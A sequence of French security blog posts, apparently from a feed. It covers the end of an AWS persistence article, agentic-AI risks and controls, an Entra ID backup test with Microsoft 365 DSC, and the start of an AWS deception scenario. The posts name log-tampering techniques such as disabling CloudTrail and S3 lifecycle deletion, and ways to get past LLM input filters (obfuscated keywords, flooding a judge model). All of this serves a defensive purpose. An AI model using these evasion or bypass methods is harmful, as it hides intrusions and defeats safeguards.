Enfin, l’article a exploré comment des attaquants peuvent altérer la visibilité et la capacité de récupération en ciblant les mécanismes de journalisation et de sauvegarde. La désactivation de CloudTrail, la modification des sélecteurs d’événements, le déploiement de politiques de cycle de vie pour une suppression silencieuse dans S3 ou le détachement de comptes d’une AWS Organization sont autant de techniques qui réduisent la supervision et permettent un compromis ou une destruction à long terme.

Là encore, un CSPM et un EDR Cloud offrent des défenses complémentaires. Un CSPM peut détecter des erreurs de configuration dans les pipelines de journalisation, des modifications non autorisées de politiques de cycle de vie ou des tentatives de quitter l’organisation. De son côté, un EDR Cloud peut repérer l’absence de télémétrie attendue, des baisses soudaines du volume de journaux ou des appels API destructeurs. Ensemble, ils garantissent que les capacités de visibilité et de récupération restent intactes, même en cas d’attaque active.

Cet article AWSDoor : Persistance sur AWS est apparu en premier sur RiskInsight.

Contrairement à l’IA traditionnelle, qui possède une autonomie limitée, les agents IA sont capables de planifier leurs actions de manière autonome, en s’appuyant sur la compréhension de leur environnement pour atteindre des objectifs définis dans leur périmètre d’actions. Cette montée en puissance est directement liée à l’intégration des LLMs (Large Language Models) dans leurs systèmes, leur permettant de traiter des entrées complexes et de lancer des actions en simulant le raisonnement humain.

L’impact attendu est considérable : d’ici 2028, l’IA agentique pourrait automatiser 15% des décisions récurrentes[1] et être intégrée à 33% des applications d’entreprise — contre quasiment aucune aujourd’hui. À l’horizon 2029, l’IA agentique pourrait résoudre de manière autonome jusqu’à 80 % des demandes courantes en service client, réduisant les coûts jusqu’à 30 %.[2]

En parallèle, la perception des risques évolue. Début 2024, Gartner a interrogé 345 responsables du risque, qui ont identifié deux principales menaces émergentes : les activités malveillantes pilotées par l’IA et la désinformation.[3]

Cette tension entre le potentiel immense de l’IA agentique et l’élargissement de la surface de risque qu’elle implique soulève une question essentielle :

« Comment les organisations peuvent-elles déployer l’IA agentique à grande échelle en toute sécurité, en équilibrant l’innovation avec la responsabilité, et l’automatisation avec le contrôle ? »

Cet article explore cette question, en soulignant les risques clés, les principes de sécurité et les conseils pratiques pour aider les RSSI et les leaders technologiques à naviguer dans la prochaine vague d’adoption de l’IA.

Un agent IA, un système d’IA autonome dans la prise de décision

Au sein des systèmes d’IA, les agents sont conçus pour traiter les stimuli externes et y répondre par des actions spécifiques. Les capacités de ces agents peuvent varier de manière significative, en particulier selon qu’ils sont ou non alimentés par des LLM.

Les agents traditionnels suivent généralement un flux de travail basé sur des règles préprogrammées : ils reçoivent des données, les classifient et exécutent une action prédéfinie.

Figure 1 : Un diagramme montrant les différentes parties constitutives d’un agent doté de LLM, montrant 1) les stimuli externes, 2) les processus de base des agents (raisonnement et outils) et 3) les actions de l’agent.

Les agents IA introduisent une nouvelle dimension en incorporant un (ou plusieurs) LLM pour effectuer le raisonnement et la prise de décision entre la perception et l’action. Cela rend les réponses plus flexibles et adaptées au contexte et, dans de nombreux cas, permet aux agents IA de se comporter davantage comme des intermédiaires humains.à

Comme illustré dans la figure 1, un agent IA traite les informations en plusieurs étapes :

1. Perception : L’agent IA reçoit des stimuli externes, tels que du texte, des images ou des sons.
2. Raisonnement : Ces entrées sont traitées par une couche d’orchestration, qui les transforme en formats structurés à l’aide de règles de classification et de techniques d’apprentissage automatique. Le LLM joue ici un rôle central. Il ajoute une couche de réflexion adaptative qui permet à l’agent d’analyser le contexte, de sélectionner des outils, d’interroger des sources de données externes et de planifier des actions en plusieurs étapes.
3. Action : Avec des données affinées et une couche de raisonnement appliquée, l’agent exécute des tâches complexes, souvent avec une plus grande autonomie que les systèmes traditionnels.

Cette architecture donne aux agents IA la capacité d’opérer dans des environnements dynamiques. Ils peuvent ainsi s’adapter en temps réel et collaborer avec d’autres agents ou systèmes, ce qui constitue un élément clé de différenciation par rapport à l’automatisation antérieure, plus statique.

En résumé, les agents IA dotés d’un LLM peuvent réaliser des actions plus complexes en appliquant une forme de raisonnement similaire à de l’intelligence humaine – un « raisonnement d’IA ». Les inputs sont transformés puis affinés, ce qui les rend plus puissants et plus polyvalents que des agents traditionnels qui profitent du RPA (Robotic Process Automation).

Retour d’expérience terrain sur l’usage des agents IA chez nos clients

Les entreprises ont reconnu à juste titre le potentiel de ces agents IA dans une variété de cas d’usage, allant du plus simple au plus complexe. Plongeons-nous dans le détail des cas d’usage les plus courants, en les différenciant par leur niveau d’autonomie.

Cas d’usage standard : Chatbot / agents virtuels

Les agents IA peuvent être configurés pour fournir des réponses instantanées à des questions complexes et ne répondre qu’à partir de certains référentiels d’information. Cela leur permet de guider les utilisateurs de manière fluide et efficace à travers des bibliothèques SharePoint (ou autres référentiels de documents). Agissant à la fois comme une fonction de recherche et comme un assistant, ces agents peuvent améliorer considérablement la productivité des employés en réduisant le temps passé à rechercher des informations et en garantissant aux utilisateurs un accès rapide aux données dont ils ont besoin. Par exemple, un chatbot intégré à SharePoint peut aider les employés à localiser des documents spécifiques, à comprendre les politiques de l’entreprise ou même à contribuer aux processus d’intégration en fournissant des informations et des ressources pertinentes. Ces agents ont peu d’autonomie et ne font que répondre directement aux demandes formulées par les utilisateurs.

Cas d’usage intermédiaires : Automatisation des tâches récurrentes

Les agents peuvent être utilisés pour rationaliser les tâches répétitives telles que la gestion des plannings, le traitement des demandes des clients et des transactions. Ces agents peuvent être conçus pour suivre des processus spécifiques, offrant des avantages significatifs par rapport aux humains en limitant les erreurs et en augmentant la productivité. Par exemple, un agent IA peut :

• Planifier des réunions en comparant les calendriers des participants,
• Envoyer des rappels
• Traiter les demandes courantes de service à la clientèle telles que le suivi des commandes ou la mise à jour des comptes

Cette automatisation permet d’une part de gagner du temps, et d’autre part de garantir la cohérence et la précision des tâches. En outre, en s’occupant des tâches récurrentes, les agents IA permettent aux employés de se concentrer sur des activités plus complexes et stratégiques, contribuant ainsi à accroître l’efficacité et la productivité au sein de l’organisation.

Cas d’usage avancés : Analyse de données complexes et gestion des vulnérabilités

Les agents peuvent également être utilisés pour des cas d’usage plus complexes, notamment pour la cybersécurité. Par exemple, Microsoft a récemment annoncé le lancement d’agents IA avec Security Copilot, un produit portant sur la qualification des incidents de cybersécurité.

Un cas d’usage particulièrement intéressant concerne les agents spécialisés dans la remédiation des vulnérabilités. Ces agents, au sein de Microsoft Intune, viendront :

• Surveiller les vulnérabilités des endpoints,
• Evaluer ces vulnérabilités en termes de risques et d’impacts potentiels,
• Produire une liste de mesures de mitigation classées par ordre de priorité.

Les équipes de sécurité peuvent ainsi se concentrer sur les problèmes les plus critiques, augmentant ainsi leur productivité. En automatisant l’identification et la hiérarchisation des vulnérabilités, ces agents permettent aux équipes de sécurité de s’attaquer rapidement aux menaces les plus pressantes, réduisant ainsi le risque de failles de sécurité et améliorant la posture de sécurité globale.

La promesse de rentabilité et d’automatisation intelligente est convaincante, mais elle introduit également un compromis stratégique. Les RSSI seront confrontés au défi de sécuriser des systèmes de plus en plus autonomes. En effet, en l’absence de garde-fous robustes, les organisations s’exposent à des perturbations opérationnelles, à des difficultés de gouvernance et à des atteintes à leur réputation. Il faudra également porter une vigilance accrue à la traçabilité des actions des agents, à la visibilité des assets et à la sécurité du Cloud.

Les avantages sont évidents, mais les risques aussi. Sans une approche axée sur la sécurité, l’IA agentique pourrait rapidement représenter un casse-tête handicapant plutôt qu’un atout.

Des risques majoritairement connus mais dont la vraisemblance et l’impact augmentent

Pour un système d’IA traditionnel, les surfaces de menace sont généralement limitées aux entrées, au comportement du modèle et aux sorties et à l’infrastructure. L’IA agentique introduit un nouveau niveau de complexité en matière de sécurité : ils interagissent de manière dynamique et autonome avec leur environnement. Cela couvre les échanges d’agent à agent, d’agent à humain et d’humains à agents. Ces flux peuvent être difficiles à tracer, à surveiller ou à contrôler en temps réel. Par conséquent, le périmètre de sécurité s’étend au-delà des modèles statiques pour englober les comportements et les interactions imprévisibles.

Les travaux récents de l’OWASP sur la sécurité des agents [4] mettent en valeur l’ampleur des menaces auxquelles sont confrontés les agents IA aujourd’hui. Ces risques se divisent en 3 catégories :

• Certains sont des risques traditionnels de cybersécurité (par exemple : la fuite de données et les attaques sur la supply chain),
• D’autres sont des risques généraux liés à l’IA Générative (par exemple : hallucinations, empoisonnement du modèle),
• Une troisième catégorie émergente concerne spécifiquement l’autonomie des agents à réaliser des actions dans le monde réel.

Outre les risques traditionnels, les systèmes d’IA agentique présentent de nouvelles menaces pour la sécurité, telles que l’exécution non autorisée ou involontaire de codes, ou encore le « détournement d’agent », où les agents sont manipulés à des fins malveillantes. Ces risques sont amplifiés par la manière dont de nombreux agents IA sont développés aujourd’hui.

Environ 90 % des cas d’usage actuels d’agents IA reposent sur des plateformes low-code, appréciées pour leur rapidité et leur flexibilité. Cependant, ces plateformes dépendent souvent de bibliothèques et de composants tiers, ce qui introduit d’importantes vulnérabilités dans la chaîne d’approvisionnement et élargit encore la surface d’attaque globale.

L’IA agentique marque la transition de la simple prédiction passive vers une intelligence proactive, à travers une automatisation plus sophistiquée. À mesure que les organisations mettent en place des réseaux d’agents interactifs, les systèmes deviennent de plus en plus complexes et vulnérables (multiplication des fenêtres de risques). Avec l’augmentation des interfaces et des échanges autonomes, il est crucial de poser des bases de sécurité solides dès le début. Une première étape essentielle consiste à cartographier les activités des agents pour garantir la transparence, faciliter les audits et permettre des contrôles efficaces.

Se prémunir des risques : les bonnes pratiques de sécurité à adopter dès maintenant

Pour faire face à l’évolution des menaces et des risques posés par l’IA agentique, les entreprises doivent adopter des mesures de sécurité proactives afin de garantir des opérations sécurisées et traçables.

1. Cartographie des activités et audits de sécurité

Avec l’essor des agents IA autonomes et leur interaction croissante avec divers systèmes, il devient impératif de cartographier toutes leurs activités, processus, connexions et flux de données. Cette visibilité est essentielle pour détecter les anomalies et garantir le respect des politiques de sécurité.

Des audits réguliers sont cruciaux pour identifier les vulnérabilités, assurer la conformité et prévenir le phénomène de « shadow AI », où des agents opèrent sans surveillance. Les agents non autorisés peuvent exposer les systèmes à des risques significatifs, et le shadow AI, en particulier les modèles non sanctionnés, représente une menace sérieuse pour la sécurité des données. Auditer les processus décisionnels, l’accès aux données et les interactions des agents, tout en maintenant une piste d’audit immuable, renforce la responsabilité et la traçabilité globales.

Pour atténuer ces risques, les entreprises doivent adopter des politiques de gouvernance claires, sensibiliser & former ses utilisateurs, et mettre en place des stratégies de détection efficaces. Ces pratiques doivent être soutenues par des frameworks de sécurité spécialisés sur l’IA, et par des politiques de gouvernance de la donnée.

Cependant, les audits et la gouvernance ne suffisent pas. Des contrôles d’accès robustes pour les agents IA sont nécessaires pour limiter leurs actions et protéger l’intégrité du système.l’IA

     2. Filtrage de l’IA

Pour éviter que l’agent n’effectue des actions inappropriées, il faut d’abord s’assurer que son système de prise de décision est protégé. L’une des mesures les plus efficaces est de filtrer les inputs et outputs potentiellement malveillants du decision-maker, souvent composé d’un orchestrateur et d’un LLM.

Il existe plusieurs moyens techniques de filtrer les inputs & outputs d’un LLM :

Filtrage par mot-clé – Efficacité faible à moyenne : Empêcher le LLM de prendre en compte toute entrée contenant des mots-clés spécifiés et de générer tout contenu contenant ces mots-clés.

• Avantage : Quick-win, en particulier sur les outputs, par exemple en empêchant un chatbot de générer des mots grossiers.
• Inconvénient : Facilement contournable via des entrées déguisées ou en exigeant des sorties déguisées. Par exemple, « p@ssword » ou « p,a,s,s,w,o,r,d » peuvent être des moyens de contourner le mot-clé « password ».

LLM-as-a-judge – Efficacité haute : Demander au LLM d’analyser les inputs et les outputs et d’identifier s’ils sont malveillants.

• Avantage : Étend l’analyse à l’ensemble de la réponse.
• Inconvénient : Peut être contourné en noyant l’agent d’informations en input, de telle sorte qu’il a du mal à traiter l’ensemble des entrées.

Classification de l’information – Efficacité très élevée : Définir des catégories de sujets auxquels le LLM a le droit de répondre ou non. Cela peut se faire par le biais d’une whitelist (le LLM ne peut répondre qu’à certaines catégories de sujets) et d’une blacklist (le LLM n’est pas autorisé à répondre à certaines catégories précises de sujets). Pour cela, on peut utiliser une IA spécialisée pour analyser chaque entrée et chaque sortie.

• Avantage : Garantit l’alignement de l’agent en ne l’empêchant de recevoir des inputs sur des sujets auxquels il ne devrait pas être en mesure de répondre.
• Inconvénient : coût élevé, car cela nécessite une analyse LLM supplémentaire.

Pour tous les systèmes d’IA générative, ces actions de filtrage doivent être effectuées pour les inputs/output des utilisateurs. Dans le cas spécifique de l’IA agentique, tous les inputs/output doivent être filtrés, y compris les interactions avec les outils que les systèmes d’IA peuvent utilisés, les bases de données qu’ils peuvent interrogées etc. 

• Mesures de sécurité spécifiques à l’IA

Inclure un « Human-in-the-loop » (HITL) est essentiel pour garantir le fonctionnement responsable et sécurisé de l’IA agentique. Bien que les agents IA puissent exécuter des tâches de manière autonome, le contrôle d’un humain dans les situations à haut risque ou sensibles sur le plan éthique fournit une couche supplémentaire bienvenue de jugement et de responsabilité. Cette surveillance permet d’éviter les erreurs, les biais et les conséquences involontaires, tout en permettant aux organisations d’intervenir lorsque les actions de l’IA s’écartent des lignes directrices ou des normes éthiques. Le HITL favorise également la confiance dans les systèmes d’IA et garantit l’alignement sur les objectifs de l’entreprise et les exigences réglementaires. Pour maximiser les avantages de l’automatisation, il est essentiel d’adopter une approche hybride où IA et humains partagent les responsabilités, approche soutenue par une formation continue pour aborder la conformité et les risques inhérents.

Certaines actions peuvent être strictement interdites à l’agent, d’autres devraient nécessiter une validation humaine, et d’autres encore pourraient être effectuées sans supervision humaine. Ces actions doivent être déterminées par une analyse de risque classique, sur la base de l’impact et de l’autonomie de l’agent. En clair, on évalue l’impact de l’agent en fonction de son autonomie (et non de la probabilité du risque)

Des déclencheurs doivent être mis en place pour déterminer si et quand une validation humaine est nécessaire. On le configure directement dans le Master Prompt du LLM, et l’accès peut être restreint en utilisant un modèle IAM approprié.

     3. Contrôles d’accès et IAM

Les agents IA jouent un rôle plus actif dans les workflows des entreprises. Ils doivent donc être gérés comme des identités non humaines (NHI), avec leur propre cycle de vie d’identité, leurs autorisations d’accès et leurs politiques de gouvernance. Il faut donc intégrer les agents dans les frameworks IAM existants, en appliquant la même rigueur que pour les utilisateurs humains.

La gestion des agents IA introduit de nouvelles exigences. Lorsqu’ils agissent au nom des utilisateurs finaux, les agents doivent être strictement limités aux permissions de ces utilisateurs, sans dépasser ou conserver des privilèges élevés. Pour y parvenir, les organisations doivent appliquer des principes clés de gestion des accès et des identités (IAM), à savoir :

• Accès suivant le principe du moindre privilège : Limiter les agents à l’ensemble minimum de permissions nécessaires pour accomplir des tâches spécifiques.
• Accès Just-in-time (JIT) : Fournir un accès temporaire et contextuel afin de réduire les privilèges permanents et l’exposition.
• Séparation des tâches et habilitations limitées : Définir des limites claires entre les rôles et empêcher les escalades de privilèges non autorisées.

Pour renforcer davantage les contrôles, les équipes de sécurité devraient mettre en place une détection des anomalies en temps réel afin de surveiller le comportement des agents, signaler les violations de politiques et remédier ou escalader automatiquement les problèmes lorsque nécessaire. L’accès aux données sensibles doit également être strictement limité. Les violations doivent entraîner une révocation immédiate des privilèges, et des listes de blocage doivent être utilisées pour empêcher les modèles ou points d’accès malveillants connus.

En fin de compte, bien que les contrôles techniques soient essentiels, ils doivent être soutenus par une supervision humaine et des mécanismes de gouvernance, en particulier lorsque les agents opèrent dans des contextes à fort impact ou sensibles. La gestion des identités et des accès pour les agents IA doit évoluer en parallèle avec l’autonomie croissante de ces systèmes et leur intégration dans des fonctions critiques de l’entreprise.

     4. Gestion des crises IA et Redteam

Bien que les contrôles spécifiques à l’IA soient essentiels, les mesures traditionnelles comme la gestion de crise doivent également s’étendre au domaine de l’IA. À mesure que les cyberattaques deviennent plus sophistiquées, les entreprises devraient envisager des stratégies de gestion de crise en cas de défaillance ou de compromission de l’IA. Il est crucial de s’assurer que toutes les équipes, des équipes de recherche IA aux équipes de sécurité, soient prêtes à réagir rapidement et efficacement afin de minimiser les perturbations.

Exemple de plan d’action pour les RSSI

Cette année, les RSSI seront exposés à des menaces accrues introduites par l’IA agentique, ainsi qu’à une pression réglementaire supplémentaire par des réglementations complexes telles que DORA, NIS 2 et l’AI Act. Les RSSI et les directeurs techniques devront collaborer étroitement : les RSSI devront superviser le déploiement sécurisé des systèmes d’IA pour s’assurer que les interactions avec les agents sont soigneusement cartographiées et sécurisées afin de préserver la sécurité de leurs organisations, de leur personnel et de leurs clients.

Premières pistes d’actions sécurité pour les RSSI :

• Limiter l’accès des agents IA en appliquant des contrôles d’accès stricts et en s’alignant sur les politiques IAM existantes.
• Surveiller le comportement des agents en suivant leur activité et en menant des audits réguliers pour identifier les vulnérabilités.
• Filtrer les inputs et les outputs de l’agent pour s’assurer que le decision-maker ne lance pas d’action involontaire.
• S’assurer de la supervision d’un human-in-the-loop cohérente, afin de valider les résultats de l’IA pour les décisions/tâches critiques.
• Fournir une formation de sensibilisation à l’IA agentique pour éduquer les utilisateurs sur les risques, les meilleures pratiques de sécurité et l’identification des attaques potentielles.
• Auditer l’agent, via du redteaming, afin d’identifier les faiblesses potentielles.
• Etablir un RACI en cas de mauvais fonctionnement de l’agent : malgré toutes les mesures de sécurité, l’IA fonctionne selon des principes probabilistes plutôt que déterministes. Cela signifie que l’agent peut occasionnellement se comporter de manière inappropriée.
• Préparez-vous aux crises liées à l’IA en entamant des discussions avec les équipes concernées afin de garantir une réponse coordonnée en cas d’incident.

Au cours des dernières années, chez Wavestone, nous avons observé une augmentation significative de la maturité des clients en matière de sécurité de l’IA. De nombreuses organisations ont déjà mis en place des processus robustes pour évaluer la sensibilité des initiatives d’IA et gérer les risques associés. Ces premiers efforts se sont avérés payants : nous avons observé une réduction de l’exposition aux menaces et un renforcement de la gouvernance des systèmes d’IA.

Bien que l’IA agentique ne réécrive pas fondamentalement le manuel de sécurité de l’IA, elle introduit un changement significatif dans le paysage des risques. Sa nature intrinsèquement autonome et interconnectée augmente à la fois l’impact et la probabilité de certaines menaces. La complexité de ces systèmes peut être difficile à gérer au début, mais elle est maîtrisable. Avec une compréhension claire de ces dynamiques et l’émergence de nouvelles normes de marché et de protocoles de sécurité, l’IA agentique peut s’accomplir pleinement, dans des conditions sécurisées, et assurer un gain de productivité conséquent.

Dans cette mer de menaces en perpétuel changement, notre cap reste clair : accompagner les RSSI et leurs équipiers pour qu’ils avancent avec sérénité.

Références

[1] Orlando, Fla., Gartner Identifies the Top 10 Strategic Technology Trends for 2025, October 21, 2024. https://www.gartner.com/en/newsroom/press-releases/2024-10-21-gartner-identifies-the-top-10-strategic-technology-trends-for-2025

[2] Stamford, Conn., Gartner Predicts Agentic AI Will Autonomously Resolve 80% of Common Customer Service Issues Without Human Intervention by 2029, March 5, 2025. https://www.gartner.com/en/newsroom/press-releases/2025-03-05-gartner-predicts-agentic-ai-will-autonomously-resolve-80-percent-of-common-customer-service-issues-without-human-intervention-by-20290

[3] Stamford, Conn. Gartner Survey Shows AI-Enhanced Malicious Attacks Are a New Top Emerging Risk for Enterprises, May 22, 2024. https://www.gartner.com/en/newsroom/press-releases/2024-05-22-gartner-survey-shows-ai-enhanced-malicious-attacks-are-new0

[4] OWASP, OWASP Top 10 threats and mitigation for AI Agents, 2025. OWASP-Agentic-AI/README.md at main · precize/OWASP-Agentic-AI · GitHub

Merci à Leina HATCH pour son aide précieuse dans la rédaction de cet article.

Cet article IA Agentique : typologie des risques et principales mesures de sécurité est apparu en premier sur RiskInsight.

Dans cet article, nous mettrons en lumière le défi de la cyber-résilience d’Entra ID, expliquerons pourquoi les fonctionnalités natives sont des solutions incomplètes et présenterons le résultat d’un PoC mené sur un outil open-source, Microsoft 365 DSC, pour sauvegarder et récupérer les données d’Entra ID. 

La résilience cyber dans les services Cloud managés 

Avec Entra ID, la stratégie de gestion des répertoires est conforme au paradigme de l’informatique dématérialisée. Cela signifie que les différentes couches de réseau, de stockage, de calcul, de système d’exploitation et d’application sont gérées par Microsoft, ce qui permet au client de se concentrer uniquement sur ses données d’identité. 

Cette différence fondamentale a un impact sur la résilience du service. En effet, la création de snapshots pour sauvegarder l’intégralité du système, qui est une pratique courante sur l’Active Directory (AD), n’est pas native sur un service managé tel qu’Entra ID. Ainsi, pour faire face à un scénario de reprise après sinistre lié à des activités malveillantes, nous ne pouvons compter que sur les fonctionnalités natives de Microsoft : le modèle de cycle de vie de l’identité, le modèle d’administration RBAC et les capacités d’importation/exportation. 

Le modèle incomplet de soft deletion 

Pour garantir la résilience, les services Cloud utilisent largement un mécanisme de soft delete, ou suppression logique. Son objectif principal est de pouvoir récupérer les données en cas de suppression accidentelle. Par exemple, dans le coffre-fort d’Azure Recovery Service, la suppression logique est la dernière mesure de protection en cas de suppression intentionnelle ou non intentionnelle du coffre-fort. Combiné aux paramètres d’immuabilité, le coffre-fort ne peut pas être effacé, quelles que soient les autorisations de l’administrateur. 

Dans Entra ID, le concept de suppression logique existe mais est insuffisant pour assurer la résilience des données pour deux raisons. D’une part, il n’y a pas de distinction de rôle entre la suppression logique et la suppression définitive, ni de rôle de récupération, c’est-à-dire que les autorisations requises pour supprimer un objet sont suffisantes pour permettre une suppression permanente. D’autre part, le cycle de vie des objets dans Entra ID (créer, gérer, supprimer) est régi par le même rôle : 

• Le rôle d’administrateur utilisateurs permet de créer et de supprimer un utilisateur. 
• Le rôle d’administrateur applicatif en nuage permet d’enregistrer une application, de configurer tous les aspects de l’application et de supprimer définitivement l’application. 
• Le rôle d’administrateur Cloud Device permet d’ajouter un appareil, d’en configurer tous les aspects et de le désenregistrer. 

L’impact d’une suppression sur Entra ID 

La conception actuelle d’Entra ID rend les rôles d’administrateur utilisateurs, d’authentification privilégiée, d’application (on-premises ou Cloud), Intune et Windows 365 d’autant plus critiques, car leur compromission peut entraîner la perte permanente des données d’identité. L’impact d’une telle suppression peut être une perte d’accès aux applications et aux données, une perte de permissions et une incapacité à administrer. 

Bien que la suppression des utilisateurs hybrides synchronisés avec un AD on-premises soit réversible, des informations telles que l’attribution de rôles seront perdues, ce qui menace le modèle de droits et d’accès. Ce n’est pas le cas pour les identités dans le Cloud, qui font généralement partie du plan de contrôle. Dans le cadre du modèle d’accès de l’entreprise, le plan de contrôle comprend les accès les plus sensibles, ce qui peut entraîner la compromission globale d’un système d’information. 

Dans un scénario de reprise après sinistre, certains actifs sont plus critiques que d’autres et doivent être sauvegardés en priorité. Il s’agit notamment des éléments suivants : 

• Utilisateurs du Plan de contrôle, groupes and roles assignés 
• Applications d’entreprise (service principal) avec des autorisations critiques sur Azure ou Microsoft 365 
• Postes de travail 

Comparaison des méthodes de sauvegarde open-source 

Afin de réduire la probabilité d’un risque de perte de données Entra ID à des fins malveillantes, la mise en place d’une solution de sauvegarde semble indispensable, au moins pour le plan de contrôle afin de garder le contrôle sur le système d’Information et le reconstruire. Nous avons donc analysé 3 méthodes open-source permettant d’assurer la sauvegarde des données : 

• Microsoft Graph PowerShell : une bibliothèque PowerShell pour les API Microsoft Graph. Vous pouvez créer vos propres scripts pour exporter et importer les attributs des objets Entra ID qui correspondent aux besoins de votre organisation. 
• Microsoft Entra Exporter : un module PowerShell qui exporte une copie locale de certains attributs Entra ID (utilisateurs, applications, applications d’entreprise, rôles, etc.) dans un fichier JSON. 
• Microsoft 365 Desired State Configuration (DSC) : un module PowerShell pour la configuration déclarative, le déploiement et la gestion des services Microsoft 365. 

Sauvegarde des objets Entra ID avec Microsoft 365 DSC 

Dans cette partie, nous allons expliquer comment nous avons testé la solution open source Microsoft 365 DSC et partager les résultats et conclusions obtenus. 

Notre PoC 

Microsoft 365 DSC permet de gérer la configuration et l’état des services Microsoft 365 selon une approche déclarative. En définissant l’état souhaité plutôt que les étapes spécifiques, il simplifie la gestion de configurations cloud complexes et assure la cohérence de l’environnement. 

Dans le cadre d’un PoC, la population test déployée dans notre tenant est la suivante : 

• 30 utilisateurs Cloud Only (générés aléatoirement par Microsoft lors de la création du tenant de test) 
• 10 groupes de sécurité (attribués aléatoirement aux utilisateurs) 

L’objectif de ce PoC est d’identifier les avantages et les limites de la solution à travers une série de cas d’usage testés et documentés : 

Le processus a nécessité la configuration d’un compte de service avec les autorisations appropriées (User.ReadWrite.All, Group.ReadWrite.All) sur Entra ID afin d’interagir avec l’API Microsoft Graph pour l’export et l’import des données. 

Ces autorisations ont permis au compte de service de récupérer les configurations et données nécessaires depuis Entra ID et de les réimporter. 

RÉSULTATS DU POC MICROSOFT 365 DSC 

À l’issue des tests, nous avons pu rassembler des informations sur les atouts et les limites de la solution. 

Points positifs : 

• Sélection granulaire des configurations : La solution permet de cibler précisément les configurations à sauvegarder. 
• Restauration sans suppression : Les utilisateurs et groupes actuels sont conservés lors de la restauration, évitant les suppressions accidentelles. 
• Écrasement des attributs obsolètes : Les attributs sauvegardés remplacent les anciens. 
• Format de stockage des données : Les données sont enregistrées en JSON, ce qui facilite leur manipulation. 
• Automatisation possible : Une fois les outils installés, la solution est facilement automatisable. 
• Supervision et alertes : Microsoft 365 DSC permet de surveiller la cohérence des données et de déclencher des alertes en cas de changements suspects. 
• Gestion des versions de snapshots : Il est possible de gérer plusieurs versions de snapshots de manière simple. 
• Journalisation détaillée : La solution permet de générer des journaux très détaillés, facilitant l’audit et le suivi. 

Limites identifiées : 

• Données incomplètes dans la sauvegarde : Tous les attributs ne sont pas capturés, entraînant une possible perte d’informations. 
• Limite de taille de sauvegarde : La taille est limitée à 11 Mo, ce qui peut être insuffisant pour des environnements plus vastes. 
• État de désactivation non enregistré : Les statuts de désactivation ne sont pas sauvegardés, pouvant entraîner la réactivation d’utilisateurs désactivés. 
• Données et identifiants non chiffrés : Les fichiers de sauvegarde contiennent des données sensibles non chiffrées. 
• Perte des IDs objets : Lors de l’import, les IDs sont perdus, ce qui peut générer des doublons lors d’imports ultérieurs. 
• Service Principal privilégié : Le service principal utilisé possède des droits étendus, ce qui peut poser des risques de sécurité si mal géré 

Il est important de noter que cet outil ne permet pas véritablement une “restauration” : il est possible de recréer les objets, mais pas de restaurer les services associés. En effet, les liens entre les nouveaux objets ID et les applications ne sont pas restaurables, ce qui constitue une limitation propre à Entra ID.  

NOTRE AVIS SUR MICROSOFT 365 DSC  

Microsoft 365 DSC est un excellent outil pour des usages de base et pour la documentation, grâce à sa simplicité de prise en main et de déploiement dans des environnements de test. Il est également efficace comme outil de supervision grâce à sa gestion de version et ses journaux détaillés. 

Cependant, il n’est pas adapté aux environnements de grande taille, en raison de ses limitations en termes de scalabilité, d’expérience utilisateur et de sécurité (notamment pour les configurations et les identifiants). Il peut également générer des incohérences ou des duplications, car les IDs objets, qui peuvent être référencés ailleurs, sont irrécupérables. 

Des solutions complémentaires peuvent s’avérer nécessaires, comme des scripts pour le traitement des fichiers de configuration et pour garantir la cohérence des modifications, ainsi que des processus clairs de chiffrement et de sauvegarde. 

Nous recommandons donc de toujours évaluer précisément les besoins, de planifier les développements complémentaires nécessaires, et d’utiliser principalement la solution à des fins de supervision et de tests. 

Compte tenu des limites des outils open source de Microsoft, il peut être pertinent d’examiner les offres de fournisseurs tiers, tels que Semperis ou Quest, spécialistes du domaine. Ces alternatives pourraient répondre aux défis de scalabilité, de fiabilité et de sécurité, et offrir des options mieux adaptées à des environnements complexes. Il est important de rester ouvert à ces solutions et de les évaluer selon les besoins spécifiques de votre organisation. 

Cet article Résilience Entra ID est apparu en premier sur RiskInsight.

Par ailleurs, nous évoluons vers des Systèmes d’Information construits sur une diversité d’environnements de plus en plus vaste, notamment grâce au Cloud, maintenant omniprésent dans les SI des entreprises. Cela leur permet d’élargir leurs capacités mais, d’un point de vue sécurité, accroît la surface et les risques d’attaques. 

Des techniques classiques de protection et de détection contre les intrusions existent déjà et se développent de manière exponentielle. Celles-ci sont efficaces pour les attaques les plus courantes mais ne sont bien souvent pas ou peu adaptées aux spécificités du Cloud. 

Ainsi, des questions se posent sur l’utilisation de stratégies proactives, telle que la Deceptive Security, permettant de garder une longueur d’avance sur les attaquants. Notamment dans le cadre de Cyber-Résilience : comment utiliser ce genre de technologie sur des environnements de types traditionnels et Cloud ? 

Dans quels cas utiliser des techniques de Deceptive Security ? Est-ce que les solutions de Deceptive Security dans le Cloud sont développées aujourd’hui ? Y a-t-il des stratégies spécifiques à envisager dans le cadre d’un environnement Cloud comparé au traditionnel ? 

Nous répondrons à ces questions dans une mini-série de 2 articles. Dans le premier article, nous vous montrions comment développer et évaluer votre stratégie de leurre. Dans le second article, nous présentons un exemple pratique de sécurité trompeuse dans AWS. 

Postulats initiaux et choix du scenario  

Grâce à l’expertise Wavestone et aux ressources partagées par notre CyberLab, nous avons conçu un scénario simple pour illustrer l’utilisation de leurres en environnement Cloud AWS. L’exemple détaillé dans la suite est inspiré par un scénario CTF (Capture The Flag) dessiné par l’équipe du CyberLab pour illustrer la propagation latérale d’un attaquant. 

De même manière que dans les scénarios traités précédemment, où nous utilisions la Deceptive pour la détection d’attaquants déjà introduits au sein du SI, il s’agit encore une fois d’éviter d’attirer des attaquants opportunistes sur notre réseau dans une optique de Deceptive « de recherche ». Ainsi, nous postulons une infection initiale quelconque, fortement probable (à fortiori dans des environnements Cloud peu maitrisés), et nous concentrons sur la détection de l’intrus en cours de déploiement sur le réseau. 

L’application de cette démarche à un environnement AWS n’est pas innocent. Un des apports du Cloud repose en effet dans la gestion des identités simplifiée et la délégation aisée des accès, mais cet atout peut toutefois tourner à l’avantage d’attaquants en cas d’exposition involontaire de ressources ou de création de liens dangereux entre zones de niveau de sécurité différents. Les mesures de durcissement et de prévention ne manquent pas et sont généreusement promues par les fournisseurs Cloud eux-mêmes mais ces vulnérabilités demeurent le lot des comptes et souscriptions peu durcis, dont l’administration obéit trop souvent à des règles encore informelles.  

Le scénario d’attaque et de leurrage associé reposera donc sur ce principe de liaison entre deux comptes AWS, ici conçus comme un environnement de production et un autre de développement, moins critique. Nous nous placerons dans un scénario où une relation d’approbation permet de se propager depuis le compte de développement vers le compte de production, via l’endossement d’un rôle cross-account.  

Scénario de leurrage 

Description du scénario  

